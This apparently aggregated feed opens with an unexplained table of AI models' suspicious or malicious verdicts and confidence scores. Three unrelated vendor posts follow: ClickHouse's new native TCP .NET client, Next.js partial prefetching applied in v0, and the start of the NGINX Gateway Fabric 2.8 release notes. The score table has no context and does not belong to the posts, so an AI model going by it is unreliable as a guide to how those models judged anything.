	Gemma 3 12B	HIGHLY_SUSP 0.85	HIGHLY_SUSP 0.85	HIGHLY_SUSP 0.85	HIGHLY_SUSP 0.85	HIGHLY_SUSP 0.85	BENIGN 0.95	BENIGN 0.95	BENIGN 0.95	BENIGN 0.95	BENIGN 0.95
	GPT-5.4-nano	SUSP 0.62	SUSP 0.62	SUSP 0.55	SUSP 0.62	SUSP 0.62	SUSP 0.62	BENIGN 0.78	BENIGN 0.78	SUSP 0.55	SUSP 0.62
	Qwen3-Next 80B	BENIGN 0.98	BENIGN 0.98	BENIGN 0.98	BENIGN 0.98	MAL 0.98	BENIGN 0.98	BENIGN 0.98	BENIGN 0.98	BENIGN 0.98	BENIGN 0.98
	GLM 5.3 Flash	HIGHLY_SUSP 0.70	HIGHLY_SUSP 0.80	MAL 0.90	HIGHLY_SUSP 0.85	MAL 0.90	HIGHLY_SUSP 0.80	SUSP 0.60	HIGHLY_SUSP 0.70	MAL 0.85	MAL 0.85
	Llama 3.1 8B	MAL 0.95	HIGHLY_SUSP 0.85	SUSP 0.80	BENIGN 0.95	HIGHLY_SUSP 0.85	BENIGN 0.95	SUSP 0.70	MAL 0.95	BENIGN 0.95	BENIGN 0.95
	Claude Sonnet 4.6	MAL 0.93	MAL 0.97	MAL 0.95	MAL 0.92	MAL 0.97	MAL 0.95	HIGHLY_SUSP 0.82	MAL 0.92	MAL 0.95	MAL 0.95
	Kimi K3	MAL 0.90	MAL 0.90	MAL 0.95	MAL 0.85	MAL 0.93	MAL 0.92	MAL 0.92	MAL 0.90	MAL 0.92	MAL 0.90
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Introducing the (blazing fast!) native TCP client for .NET

ClickHouse · Oct 16, 3:12 PM UTC


	We are releasing a new, experimental ClickHouse client in the ClickHouse.Driver package. It uses the native TCP protocol and the Native columnar format.
	Built from the ground up for performance: zero-allocation, zero-copy, and bulk operations wherever possible. 1.5x-2x faster than the HTTP client for typical use cases. Cuts GC allocations by over 99% in some cases.
	Against ClickHouse Cloud, one streamed query reads up to 1.1 million rows/115 million values per second. 16 parallel inserts up to 877,000 rows per second (832k from POCOs). The client can handle over 3,000 queries per second on modest hardware.
	Not a drop-in replacement for the HTTP client.


There's a lot here, from a two-minute quick start to JIT disassembly. Start wherever suits you best:
	Want to try it now? → Quick start
	Why a second client? → Why TCP and how is it different?
	Should you switch? → Pros and cons
	Want the numbers? → Performance
	Want a technical deep dive? → How we did it
	Moving an app off HTTP? → Migrating from the HTTP client


The TCP client ships in the regular ClickHouse.Driver package on NuGet. Install it with dotnet add package ClickHouse.Driver. It’s experimental, so its types raise a compiler warning, CHTCP0001. Acknowledge it in your project file:
<PropertyGroup>
  <NoWarn>$(NoWarn);CHTCP0001</NoWarn>
</PropertyGroup>
From there:
	The TCP client docs cover configuration, type mappings, sessions, observability, and the full HTTP-to-TCP migration table.
	We have also prepared 30 examples showcasing all the typical use cases: reads, inserts, types, sessions, TLS, observability, error handling, and more.



ClickHouse stores and processes data in columns. Until now, the official .NET client has only supported HTTP with RowBinary, a row-oriented format. This means every result is converted twice: the server turns its column blocks into a stream of rows, and the client decodes that stream one value at a time. Inserts go through the same two steps in reverse: the client writes rows, and the server parses them back into columns.
The native protocol removes both conversions. It is the protocol that clickhouse-client uses, and that ClickHouse servers use for distributed queries. Data travels in the Native format, as blocks of columns, in both directions. This is less work on both ends: the server doesn’t need to do the format conversion, and the client can read a whole column in one bulk operation instead of one value at a time.
The native protocol also carries more than data: while a query runs, the server sends progress, profile events, totals and extremes, and, on request, its own log messages, as separate packets between the data blocks. The client passes them back to your callbacks. And because the protocol is stateful, a session is one socket: temporary tables and SET statements stay on one connection (and therefore on one replica), even behind a load balancer.

The core difference is the shape of the data on the wire. RowBinary interleaves the columns: each row is its values back to back, then the next row. Native groups them: one block holds every id, then every name, then every score, and each column starts with its name and type.
The HTTP client walks the stream value by value. The TCP client makes one call per column per block. For fixed-width types, that call is a single bulk read into a pooled buffer, and the column you get back is a ReadOnlySpan<T>. A block usually holds thousands of rows, so this saves a huge number of calls.
Composite types follow the same rule. An Array(Float64) column is all of its row offsets, then every element of every row in one contiguous run:
So the client reads the elements of a whole block in one go, and a row is a slice between two offsets. The layout pays off on inserts too: give InsertAsync flat values plus offsets (ClickHouseTcpColumn.CreateArray, or a column straight from a SELECT), and every element goes out in one copy. A jagged double[][] works as well, at one copy per row.
You choose how much of the columnar shape to keep. The TCP client supports three different tiers:
	Tier	Read	Insert	Cost
	Columns	StreamAsync (borrowed blocks)	InsertAsync	No per-row allocation. Fixed-width columns are read and written in bulk.
	POCOs	QueryAsync<T>	InsertRowsAsync<T>	One object per row. The mapping is compiled per column, with no boxing.
	object[]	QueryAsync	InsertRowsAsync	An array per row and a box per value. Inserts transpose rows into columns.


The native client is fast, but it isn’t a free upgrade. Here’s what you get and what you give up.
What you get
	Speed. Columnar reads with no decoding. StreamAsync gives you blocks, and each column’s .Values is a span over the buffer the socket read into. And columnar inserts are basically a memcpy.
	POCOs with no setup. The mapping is compiled on first use, one loop per column, with no boxing.
	Query metadata. Callbacks for progress, profile events, server logs, and totals and extremes while the query runs.
	Cancellation that reaches the server. Cancelling sends a Cancel packet, so the server can stop the query.
	Sessions. A session is one socket, so temporary tables, SET, and SET ROLE work behind a load balancer with no session_id.
	W3C trace context propagation to ClickHouse.

What you give up
	It’s experimental. The API may change before it’s marked stable.
	JSON is text only. JSON columns arrive as strings and you parse them yourself; HTTP gives you a JsonObject or a POCO. The extra string serialization step on the server is relatively slow, so if you are a heavy JSON user, do not expect great performance. We plan to implement support for the binary JSON format soon, though.
	The object[] tier loses most of the performance benefits. An array per row, a box per value, and a row-to-column transpose on insert mean that all the performance benefits of the columnar format are lost. This means that ORMs (which typically use the object[] approach for reading and writing objects) will not see any significant improvement.
	DateTime comes back as a number. Columns and object[] rows give you the raw uint/long, which keeps reads zero-copy and at full precision. Use ReadAs<DateTimeOffset> to convert, or a POCO property with the right type for auto-conversion.
	Blocks are borrowed. To avoid allocations, a block is valid for one loop iteration, then its buffers are reused. If you want to keep any of the data from a block outside the loop, you need to copy it out yourself.
	Missing features:
	No ADO.NET (so no Dapper or Entity Framework Core).
	No support for alternative formats like CSV, Parquet, or JSONEachRow.
	No JWT authentication.
	And only {name:Type} parameters (no typeless @name).



	.NET 8 or later only.

So, which one?
	For analytical reads, bulk inserts, and performance-sensitive workloads: try TCP.
	For ORMs, different file formats, token auth, or heavy JSON use: stay on HTTP.

Both ship in the same package, so you can use each where it fits.

We benchmarked both TCP approaches (blocks and POCOs) against the HTTP client.
	Setup: the client on an AWS m7i.8xlarge, the server on ClickHouse Cloud (26.4), over a real network.
	Arms: the HTTP client (QueryAsync<T> / InsertBinaryAsync<T>), TCP with columns (StreamAsync / InsertAsync), and TCP with POCOs (QueryAsync<T> / InsertRowsAsync<T>).
	Data: 1M-row reads and 100k-row inserts of the hits dataset (105 scalar columns), of a table with Array, Map and Tuple columns, and of a table with one JSON column.
	Numbers: each scenario runs 5 times in one process. We report the median of the 4 warm runs.

What stands out:
Reads take less than half the time with columns (0.44× on hits, 0.45× on collections), and about two thirds with POCOs, which is the like-for-like number.
Inserts are faster across the board. hits inserts take 0.61× the time with columns and 0.66× with POCOs. With 16 concurrent inserts, both styles take 0.46×.
JSON is slower, as expected Performance here is worse because JSON has to be serialized/deserialized to and from strings.
In terms of throughput, we can read over 115 million values per second from a single stream. On a 32-vCPU client (best warm run of each):
		TCP columns, up to	TCP POCOs, up to	HTTP, up to
	One streamed read of hits (105 columns)	1.1M rows/s	764k rows/s	486k rows/s
	16 parallel hits inserts	877k rows/s	832k rows/s	405k rows/s
	SELECT 1, 16 in flight	3,100 queries/s	3,100 queries/s	1,800 queries/s

Memory
The biggest improvement is in memory. Reading 1M rows of hits allocates 1.6 GB with HTTP and 6 MB with TCP columns. Note the logarithmic x-axis on the chart below.

Three principles drove every decision in the TCP client:
	Zero copy. Data is copied once, from the socket into the column’s own buffer. Everything above that copy is a view over it. On the way in, a column you already hold goes from your array into the send buffer in one copy. (Compression, which is on by default, adds a decompression pass and one more copy. “Where zero-copy was not possible” below has the details.)
	Zero GC allocations. Nothing is allocated per row on the columnar tier, unless strictly necessary. Column buffers come from a pool and go back to it, and what’s left is a few small objects per block. That’s how reading 1M rows of hits allocates 6 MB instead of 1.6 GB.
	As little encoding and decoding as possible. For most fixed-width types, the ClickHouse wire layout and the .NET memory layout are identical. So an Int64 or a Float64 isn’t decoded at all. DateTime stays a number and strings stay UTF-8 until you ask for something else.

To implement these principles, we made heavy use of MemoryMarshal to reinterpret in place instead of decoding. A fixed-width column is a pooled byte[] filled by a single read. And its Values property doesn’t convert anything; it simply reinterprets the bytes as T:
// Reading a fixed-width column (error handling trimmed)
// Borrow the needed space from a pool
int byteCount = checked(rowCount * Unsafe.SizeOf<T>());
byte[] rented = ArrayPool<byte>.Shared.Rent(byteCount);

// A single read copies the entire column from the socket
await reader.ReadBytesAsync(rented.AsMemory(0, byteCount), cancellationToken);

// The column is built around that data
return new PrimitiveColumn<T>(columnName, columnType, rented, byteCount, pooled: true);

// PrimitiveColumn<T>: accessing the values as type T by reinterpreting in place
public ReadOnlySpan<T> Values => MemoryMarshal.Cast<byte, T>(buffer.AsSpan(byteOffset, length));
That covers every integer and float type, Bool, the raw DateTime counts, .NET’s Int128, and our own Int256/UInt256, which are declared [StructLayout(LayoutKind.Sequential)] as four little-endian ulongs so their memory matches the wire. There’s no unsafe code anywhere in the client; the project doesn’t even enable it. Span<T>, MemoryMarshal and ArrayPool<T> do all the work.
Bulk reads skip the buffer. Small reads, like packet headers and lengths, go through a 16 KiB buffer. Column data doesn’t: ReadBytesAsync copies out whatever is already buffered, then reads the rest of the column straight from the socket into its pooled array. A 200 MB column needs a 200 MB destination, not a 200 MB read buffer.
Views, not values. Other types keep their wire shape too. A Nullable column is the raw null map plus a zero-copy inner column, so no T? array is built, unless it is explicitly requested. A String column is one pooled blob plus offsets: GetBytes(row) hands you the UTF-8 bytes without a copy, and .NET strings are only created when you ask for them. LowCardinality(String) decodes each dictionary entry once per block, not once per row.
The same trick in reverse on writes. A column backed by a contiguous array goes out with MemoryMarshal.AsBytes, one copy for the whole slice:
if (typed is ISpanColumn<T> contiguous)
{
    writer.WriteBytes(MemoryMarshal.AsBytes(contiguous.Span.Slice(start, length)));
    return;
}
Composite columns work the same way. Pass a column you read from a SELECT straight to InsertAsync, and its null map, offsets or LowCardinality dictionary go back out without being rebuilt.
Short-lived buffers on the stack. Where we do have to encode, such as a .NET string going out as UTF-8, short values use stackalloc and only longer ones touch the pool:
int maxBytes = Encoding.UTF8.GetMaxByteCount(value.Length);
if (maxBytes <= 256)
{
    Span<byte> scratch = stackalloc byte[256];
    WriteEncodedString(value, scratch);
}
else
{
    // Rent a buffer from ArrayPool<byte>.Shared, encode, return it.
}
Borrow the memory. The buffers behind a Block belong to the client. When your await foreach moves on, they go back to the pool and the next block reuses them. That’s what makes the columnar tier allocation-free, and it’s why a block is only valid for one iteration. The compiler helps, because a ReadOnlySpan<T> can’t live across an await. If you keep a column object anyway, reading it after the loop has moved on throws, instead of quietly returning another block’s data.
Columns first, rows on top. The borrowing rules have to live in the bottom tier, so we built the allocation-free columnar API first and then added POCOs and object[] rows on top of it. Ownership changes hands exactly twice: from the socket to a block (the client owns it), and from a block to your row or object.

When reading into or writing from POCOs, we don’t use reflection per row. The first time the client sees a POCO type with a given set of columns, it builds an expression tree for each column, compiles it to a delegate, and caches the plan.
On read, each column gets one compiled loop that fills one property across a whole range of rows. Here’s what goes into that tree for a DateTime64 column mapped to a DateTimeOffset property, and where each piece comes from:
The value stays typed from the span to the property setter, so nothing is boxed, and there is one delegate call per column for each batch of rows instead of one per value.
Conversions go inside the loop. When the property type differs from the column’s type, the column’s codec supplies an expression for the conversion: a DateTime64 column turns its raw count into a DateTimeOffset in the column’s timezone, an Enum8 becomes your enum, and a Nullable column fills a T?.
Inserts are the mirror image. Each column gets a compiled loop that reads one property from every row into a pooled, typed buffer (destination[slot] = rows[start + slot].Id). For fixed-width types, the codec then writes that buffer in one copy.
One catch: under NativeAOT, expression trees are interpreted rather than compiled, and an interpreted tree can’t hold a ReadOnlySpan<T>. There the plan reads through the column’s indexer instead, with one call per value.

Most of the client has no use for SIMD. When the wire layout matches .NET’s memory layout, we simply do a single bulk copy. We only use vector code when the two layouts disagree, which creates an opportunity for further optimization.

ClickHouse stores a UUID as two little-endian 64-bit halves. .NET’s Guid keeps an int, two shorts, and then eight bytes in order. Every byte is there, just somewhere else:
Vector128.Shuffle with a constant control vector compiles to a single vpshufb on x86 (TBL on Arm64). On read, we shuffle the whole column straight into the pooled Guid[]:
ref byte src = ref MemoryMarshal.GetReference(source);
ref byte dst = ref MemoryMarshal.GetReference(destination);
for (int i = 0; i < count; i++)
{
    nuint offset = (nuint)i * UuidSize;
    Vector128.Shuffle(Vector128.LoadUnsafe(ref src, offset), control).StoreUnsafe(ref dst, offset);
}
In our micro-benchmark that’s about 9× faster than moving the bytes one at a time, and it allocates nothing. Machines without vector support fall back to a plain scalar loop.
One thing worth knowing if you try this yourself: on .NET 8 and 9, Shuffle() only becomes vpshufb when the JIT can see that the control vector is a constant. Our loop takes the control as a parameter, and it still gets vpshufb because the JIT inlines it into a caller where the static readonly field is visible. Pass a plain parameter into a method that isn’t inlined, and you get a call to a software fallback instead. .NET 10 accelerates both. You can check your own code with DOTNET_JitDisasm.

ClickHouse’s QBit(T, N) type exists to speed up approximate vector search. It takes N floating point values and stores them with one plane per bit (32 for float32), most significant first, so a distance function like L2DistanceTransposed(vec, ref, p) can read only the first p bits of each element and trade precision for speed. On insert, the client has to do that transpose:
Done one bit at a time, that’s 32 ops per element. With Vector256, ExtractMostSignificantBits collects the top bit of 8 floats into one byte, which is exactly one plane byte, already in the wire’s bit order. Shift every lane left by one, and the next bit is on top:
Vector256<uint> lanes = Vector256.LoadUnsafe(ref source, (nuint)(group << 3));
int slot = rowBase + QBitLayout.ByteOfGroup(group, BytesPerRow);
for (int wireIndex = 0; wireIndex < BitWidth; wireIndex++)
{
    scratch[(wireIndex * planeStride) + slot] = (byte)lanes.ExtractMostSignificantBits();
    lanes <<= 1;
}
The JIT turns that loop body into one vmovmskps and one vpslld. It made the write path 11.7× faster at 1,024 dimensions and 16.5× faster at 768.

Zero-copy is the rule, but when the wire format and the .NET memory layout disagree (or when we have to instantiate an object), it is not possible.
Strings are the biggest case. ClickHouse sends raw bytes (typically UTF-8, but could be in any encoding), and a .NET string is UTF-16, so every string you ask for is decoded and allocated. If you can work with UTF-8 directly, IStringColumn.GetBytes gets your the raw byte array directly. Strings can't be written in one copy either: every value on the wire has its own length prefix, so the client writes them one at a time. (FixedString has no prefixes, so it can.)
Some types change shape when they're read. IP addresses become IPAddress objects, one per row, Date becomes DateOnly, and decimals become decimal or our own ClickHouseTcpDecimal, all as soon as the block arrives. And on insert, Nullable values and tuple fields have no contiguous run in your data, so they're written value by value instead of in one copy.

You don’t have to pick one. Both clients ship in ClickHouse.Driver, so you can move your hot paths to TCP and keep HTTP for what the native client doesn’t do yet: ORMs, file formats, and token auth. The checklist:
Connect to the native port. That's 9000, or 9440 with UseTls=true. Server settings are strings; in a connection string, prefix them with set_ (set_max_threads=4). With dependency injection, services.AddClickHouseTcpDataSource(...) registers one pooled client and hands out IClickHouseTcpClient.
Map the methods. Most calls have a direct counterpart:
	HTTP client	TCP client	Notes
	ExecuteNonQueryAsync	ExecuteAsync	DDL queries
	ExecuteScalarAsync	ExecuteScalarAsync	One value, first row of first column
	ExecuteReaderAsync	QueryAsync / QueryAsync<T> / StreamAsync	No direct equivalent
	QueryAsync<T>	QueryAsync<T>	POCO reads
	InsertBinaryAsync	InsertRowsAsync<T>, InsertRowsAsync, or InsertAsync	Inserts
	PingAsync	PingAsync	Ping

Rewrite parameters. @name placeholders become {name:Type}, and the values move into ClickHouseTcpQueryOptions.Parameters. Give instants a timezone, like {t:DateTime64(3, 'UTC')}.
Start with POCOs, then move the hot loops to columns. QueryAsync<T> and InsertRowsAsync<T> are the closest to what you have now:
// HTTP
using var reader = await http.ExecuteReaderAsync("SELECT id, name FROM events");
while (reader.Read())
{
    Console.WriteLine($"{reader.GetFieldValue<ulong>(0)}: {reader.GetString(1)}");
}

// TCP
await foreach (Event e in tcp.QueryAsync<Event>("SELECT id, name FROM events"))
{
    Console.WriteLine($"{e.Id}: {e.Name}");
}
Once that works, switch the loops that matter to StreamAsync and InsertAsync.
Finally, check for breaking behavioral changes:
	DateTime columns come back as raw numbers on the columnar and object[] tiers. POCO properties convert automatically.
	Finish or dispose every enumeration, so its connection goes back to the pool.
	Breaking out of a result early, or cancelling, closes that connection instead of reusing it.
	MaxPoolSize (20 by default) caps how many operations run at once.
	ReadTimeout measures silence between reads, not total query time.
	There are no automatic retries. Set a DeduplicationToken on any insert you might retry.
	Temporary tables and SET need OpenSessionAsync, because ordinary calls can land on any pooled connection.
	JSON arrives as text.

The migration guide in the docs has the full details, and Tcp_004_MigratingFromHttp.cs runs both clients against the same table.

First on the list is ADO.NET: a DbConnection over the native protocol, so Dapper, EF Core and linq2db can use it too. After that, binary JSON, so JSON columns don’t need to be forced through an extra layer of serialization and deserialization.
We’d really appreciate your feedback. Point the client at your real workloads and tell us what breaks, what feels awkward, and what’s missing. Let us know in a GitHub issue. The API is still experimental, so this is the best time for your feedback to shape it.
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Improving navigation experience in v0 with Next.js 16.4

Next.js · Oct 16, 3:00 PM UTC

Previously, we shared how a coding agent used the instant() Playwright test helper to make navigations instant in v0, Vercel's AI app builder. That work focused on the core /chat experience.
In other parts of v0, users saw loading skeletons when they returned to pages they had already opened. Useful content was not always ready before the first click, either. We wanted those pages to behave more like a single-page app, with content prefetched on the way in and still available on the way back.
Next.js 16.3 introduced Partial Prefetching. Next.js 16.4 added more control over when cached content loads, along with the new next-partial-prefetching-optimizer Skill for optimizing what gets prefetched.
In this post, we'll look at how we used the Skill to improve v0's navigation experience.
Navigating around Templates after the refactor.Copy link to headingWhat Partial Prefetching changes
In previous versions of Next.js, prefetch={true} fetched the entire destination, including dynamic content. This could fetch pages users never opened, while clicking before the prefetch finished still led to a slow navigation. Turning prefetching off avoided those requests but moved all of the work until after the click.
With Partial Prefetching, Next.js prefetches the reusable parts of a route so they're ready before the click, while the rest loads during navigation. Cached content, including personalized content stored in the browser, can be prefetched and reused on return visits. For selected links, prefetch={true} resolves the destination URL so cached content for a dynamic route such as /products/[id] can be included in the prefetch.
Starting with Next.js 16.4, create-next-app enables Cache Components and Partial Prefetching by default, as the recommended model for all Next.js apps:
When we started this work, v0 was already using Cache Components. The earlier work on /chat had also incrementally adopted Partial Prefetching for a few routes:
To bring the same model to the rest of v0, we enabled Partial Prefetching globally before starting the refactor. The adoption guide includes an existing next-partial-prefetching-adoption Skill for this change.
Copy link to headingMaking the goal testable
Each navigation needed a clear, testable target for the prefetched UI.
The instant() Playwright helper acts as a lock around the click. It holds back content that only arrives during navigation, so a test can assert on the UI available before the click:
In this example, the test checks that the template header, title, and preview are already available without showing the broad loading skeleton. If any of that UI is missing, the test fails.
Copy link to headingThe optimization loop
To automate this process, Next.js 16.4 includes the new next-partial-prefetching-optimizer Skill. It guides an agent through the following loop until the instant() test passes:
   Choose the navigation and target UI
              │
              ▼
   Write a passing instant() test for the current UI
              │
              ▼
   Add the target assertions and confirm they fail
              │
              ▼
   Refactor the app ◀────────────────────────────┐
   using caching and prefetching                 │
              │                                  │
              ▼                                  │
   Rebuild and rerun the test                    │
              │                                  │
              ├── still failing ─────────────────┘
              │
              ▼ passing
   Verify the regression check and keep the test
This is especially useful in a larger codebase, where reaching the intended UI can take several iterations and refactors. The agent can keep running the loop until the instant() test passes.
The test remains in the codebase and can run in CI to catch future regressions.
The Skill can make a best effort from a broad goal. For this work, we wanted more control over exactly how the UI loaded, so the prompts below define what should be ready before the click and what could wait.
Copy link to headingApplying the loop across v0
We asked an agent with the Skill installed to run this workflow across v0 and split the work into feature-specific PRs. For each PR, we tried the interaction in the preview before merging, then tracked four production metrics after it shipped:
	Runtime Cache spend for cache reads and writes
	Request volume for the affected routes, including prefetch requests and Function Invocations
	Active CPU used to serve those routes
	Data transfer from prefetch requests

Let's look at a few examples of how the Skill worked.
Copy link to headingPrefetching useful content for /templates/[id]
Before the refactor, opening a card from /templates showed a loading skeleton while the template details loaded. Returning to the same template fetched those details again and brought back the skeleton.
The Templates page before the refactor.The UX we wanted instead was:
PromptWhen I open a Template from the "Templates" page, prefetch its header, title, and preview so I see them right away.
To make that UX possible, the agent separated public template data from personalized viewer state. The public data was safe to share across users, so the agent cached it with 'use cache: remote'.
On Vercel, this stores the result in Runtime Cache, where requests from different users and function instances can reuse it. With a self-hosted next start, 'use cache: remote' uses memory unless you configure cacheHandlers.remote. Plain 'use cache' also uses memory by default.
The cached data also needed a lifetime and a way to invalidate it. cacheLife() sets the lifetime, while cacheTag() provides an invalidation key:
Publishing or updating a template calls revalidateTag(), marking the cached data stale so a later request refreshes it.
With the template data now reusable, the agent added prefetch={true} to each link from /templates:
After the refactor, the template header, title, and preview were ready before the click and remained available when users returned:
The Templates page after the refactor.Copy link to headingAvoiding unnecessary prefetches in large grids
The first rollout made the selected template's content available immediately, but it also started a richer prefetch for every visible card in /templates. The production metrics showed that prefetch requests to /templates/[id] had increased 2.9×, so we tuned when the richer prefetch started.
We still wanted to prefetch the card a user was likely to open, so we asked the agent:
PromptOn the "Templates" page, wait until I hover, focus, or touch a card before prefetching its details. Don't prefetch every card as soon as it appears.
The agent changed the richer prefetch to wait for user intent, starting on hover, focus, or touch rather than when the card entered the viewport.
The core behavior can be expressed in a few lines:
In v0, the agent added this behavior to an existing custom Link wrapper:
For the Templates grid, this kept the selected Template's details available before the click without treating every card as equally likely to be opened. Throughout the refactor, the pattern was also used for other large lists and grids in v0. Smaller, fixed groups continued to prefetch when their links became visible.
Copy link to headingReusing personalized content under /settings
Before the refactor, pages under /settings could show their loading state on the first visit and again when users returned. Because the content is personalized, it needed to stay in the browser rather than a cache shared between users.
Settings before the refactor.The UX we wanted was:
PromptWhen I move between pages in "Settings", I want "Advanced", "Workspace", and "Usage" prefetched before I click them. Let the other pages load when I open them, then keep them available if I go back.
The agent used 'use cache: private' to keep this content in the browser.
URLs under /settings include the account or team in [scope], such as /acme/settings/advanced. Passing scope into the cached function makes it part of the cache key, keeping each account or team's content separate. The Advanced page could reuse the result for five minutes:
For cached data that users could change, the agent paired each read with the action that updates it. For example, when users save Custom Instructions for v0 to follow across chats and projects, the Server Action calls updateTag(). This immediately expires the cached Advanced settings, so users see the new value in the same roundtrip.
Once this content was cached, the agent added prefetch={true} to the Advanced, Workspace, and Usage links to resolve each scoped destination and include its cached content in the prefetch. Other pages under /settings loaded after the click, then remained available when users returned.
After the refactor, the selected pages opened with their content ready, while the others stayed available after the first visit:
Settings after the refactor.Copy link to headingBalancing prefetching and cost
We also wanted to improve navigation from /projects into an individual project. Before the refactor, opening one showed a broad loading state. Reopening it fetched the content again and brought the loading state back.
Projects before the refactor.The Recent Chats section was still useful to cache for return visits, but it did not need to be prefetched.
Next.js 16.4 includes a new navigation() API that lets you decide which cached work waits until navigation:
Cached work after navigation() waits until the page opens, then stays available when users return. This works well for lower-priority content that isn't needed right away.
For this navigation, the UX we wanted was:
PromptWhen I open a Project from the "Projects" page, I want the title and "Production Deployment" ready when I click. Prefetch them on hover, focus, or touch. Keep "Recent Chats" cached for return visits, but don't prefetch it.
The agent cached and prefetched the project details, with navigation() before Recent Chats:
Another use of navigation() was /settings/usage. The agent kept the tabs, filters, and Activity UI in the prefetch, while the credits dashboard and usage fields loaded during navigation and remained available on return visits.
After the refactor, the broad loading state was gone. The project title and Production Deployment section appeared first, followed by Recent Chats, which stayed cached for return visits:
Projects after the refactor.Copy link to headingReviewing the results
We reviewed the metrics after each PR and tuned the work as we went. Once all the PRs had merged, the whole-app comparison showed total daily cost was 2.9% lower, even as Shared Runtime Cache spend grew to 4.3× its pre-refactor level, adding about $3.44 per day. Fewer requests and lower compute and transfer offset that increase, bringing the request-serving costs we tracked down 14.4%.
Traffic and unrelated deployments changed during the same period, so we treated the whole-app numbers as confirmation that the refactor had not made v0 more expensive, not as savings caused solely by this work.
We also doubled the number of instant() tests covering these navigations. Across the areas we changed, users saw more useful content as soon as they opened a page and fewer loading states when they returned. The tests now protect that experience as v0 evolves.
Copy link to headingTry it yourself
You can use the next-partial-prefetching-optimizer Skill to run the same loop in your app. It assumes your app already uses Cache Components and Partial Prefetching. The Cache Components migration guide and Partial Prefetching adoption guide cover those prerequisites.
Install the Skill for your coding agent:
Once installed, most coding agents will invoke it automatically when the request matches. Depending on your harness, you can also ask the agent to invoke the next-partial-prefetching-optimizer Skill or use /partial-prefetching-optimizer.
Describe the navigation you want to improve in your own words, as in the examples above, or ask the agent to find opportunities in your app.
To apply these patterns yourself, follow the Optimizing prefetching guide. The Skill uses the same guidance under the hood.
Copy link to headingFeedback and community
Try it on your own app, and let us know how it goes:
	GitHub Discussions
	GitHub Issues
	Discord Community
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NGINX Gateway Fabric 2.8: IP allow and deny lists, passive health checks, and cookie-based session persistence

NGINX · Oct 16, 2:35 PM UTC

NGINX Gateway Fabric 2.8 adds AccessPolicy, which allows or denies traffic to a Gateway or route by client IP address. Passive health checks in UpstreamSettingsPolicy let you decide how many failed attempts take an upstream server out of rotation and for how long, and cookie-based session persistence now works on NGINX Open Source. NGINX Gateway Fabric can also create Prometheus ServiceMonitors for its control plane and for each Gateway’s data plane, and send access logs to a file or a syslog server instead of only stdout. Gateway API Inference Extension users can verify the TLS connection to their endpoint picker with a BackendTLSPolicy.
How it runs got attention too. Rolling upgrades send configuration only to pods running the expected image, an optional Secret label selector keeps the control plane from caching Secrets your Gateways never use, and Kubernetes watches stay open instead of reconnecting every 10 seconds. Support for nginx.org/htpasswd Secrets is gone, and NGINX Gateway Fabric no longer sets loadBalancerClass on its own — read the upgrade notes before you move to 2.8. Active health checks, a larger default upstream zone, and a few fixes need an F5 NGINX Enterprise solution, and they’re collected in one section at the end. Here’s what’s new.
Release highlights
	IP allow and deny lists: Allow or deny traffic to a Gateway or route by client IP address, without an NGINX snippet.
	Passive health checks: Decide how many failed attempts take an upstream server out of rotation, and for how long.
	Cookie-based session persistence in NGINX Open Source: Keep each user on the same backend, even when their IP address changes.
	Prometheus ServiceMonitors: Scrape the control plane and every Gateway’s data plane without writing ServiceMonitors by hand.
	Bug fixes and smaller enhancements: Updates to upstream keepalive and server ordering, deleted endpoints, Gateway addresses and status, data plane recovery, certificate and BackendTLSPolicy validation, inference routing through the endpoint picker, basic authentication Secrets, load balancer classes, and the Helm chart.

IP allow and deny lists with AccessPolicy
What’s new: A new AccessPolicy resource controls which client IP addresses can reach a Gateway, an HTTPRoute, or a GRPCRoute. Each policy sets an action of Allow or Deny and up to 64 rules, each matching an IP address or an address range such as 192.0.2.0/24. NGINX Gateway Fabric turns them into NGINX allow and deny directives, and a blocked request gets a 403 Forbidden response. An Allow policy rejects any request it doesn’t match. A Gateway’s policy covers every route attached to it, and Deny rules from the Gateway and the route both apply. When the Gateway and a route both have Allow rules, the route’s can only narrow the Gateway’s, so a request has to fall inside both ranges (nginx/nginx-gateway-fabric#6063).

apiVersion: gateway.nginx.org/v1alpha1
kind: AccessPolicy
metadata:
  name: coffee-allowlist
spec:
  targetRefs:
  - group: gateway.networking.k8s.io
    kind: HTTPRoute
    name: coffee
  action: Allow
  rules:
  - name: office-network
    source:
      type: IPAddress
      ipAddress:
        address: 192.0.2.0/24


AccessPolicy matches each request’s client IP address. If a load balancer or proxy sits in front of NGINX, configure rewriteClientIP on the NginxProxy so the rules see the original client address rather than the proxy’s.
Why it matters: Limiting an internal tool to your office network, or blocking an address range you don’t trust, becomes a policy the API server validates and NGINX Gateway Fabric reports status on, rather than an NGINX snippet. Because a route’s Allow rules can’t reach past the Gateway’s, a platform team can set the outer boundary on the Gateway and leave each application team to tighten it for their own routes.
Passive health checks for your upstreams
What’s new: UpstreamSettingsPolicy gains a healthCheck field. Its passive settings map to the NGINX max_fails and fail_timeout parameters: maxFails sets how many failed attempts within failTimeout mark an upstream server unavailable, and failTimeout also sets how long the server stays out of rotation. They apply to the HTTP, HTTPS, and gRPC upstreams of the Services the policy targets, and maxFails: 0 stops NGINX from counting failed attempts (nginx/nginx-gateway-fabric#6000).

apiVersion: gateway.nginx.org/v1alpha1
kind: UpstreamSettingsPolicy
metadata:
  name: example-passive-hc
spec:
  targetRefs:
  - group: core
    kind: Service
    name: coffee
  healthCheck:
    passive:
      maxFails: 3
      failTimeout: 5s


Why it matters: NGINX already takes a server out of rotation after one failed attempt in 10 seconds. UpstreamSettingsPolicy lets you tune that per Service: tolerate a few errors from a backend that’s slow to warm up, or keep a failing server out longer. Passive checks act on live traffic, so a server that stops responding leaves rotation without waiting for a readiness probe to fail.
Cookie-based session persistence in NGINX Open Source
What’s new: Gateway API’s sessionPersistence on HTTPRoute and GRPCRoute rules no longer needs F5 NGINX Plus. NGINX Gateway Fabric now translates it into a sticky cookie directive on NGINX Open Source too (nginx/nginx-gateway-fabric#6028). The sticky directive has been part of NGINX Open Source since 1.29.6. sessionPersistence is an experimental Gateway API field, so it needs experimental features turned on. The HTTPRoute sessionPersistence API is deprecated and is expected to be replaced by a new API on the Backend resource in a future release. ip_hash on an UpstreamSettingsPolicy remains available for IP-based affinity.
Why it matters: A cookie keeps a user on the same backend even when their IP address changes or many users share one address, which IP-based affinity can’t do. Until this release, NGINX Gateway Fabric offered it only with NGINX Plus.
Prometheus ServiceMonitors for the control plane and the data plane
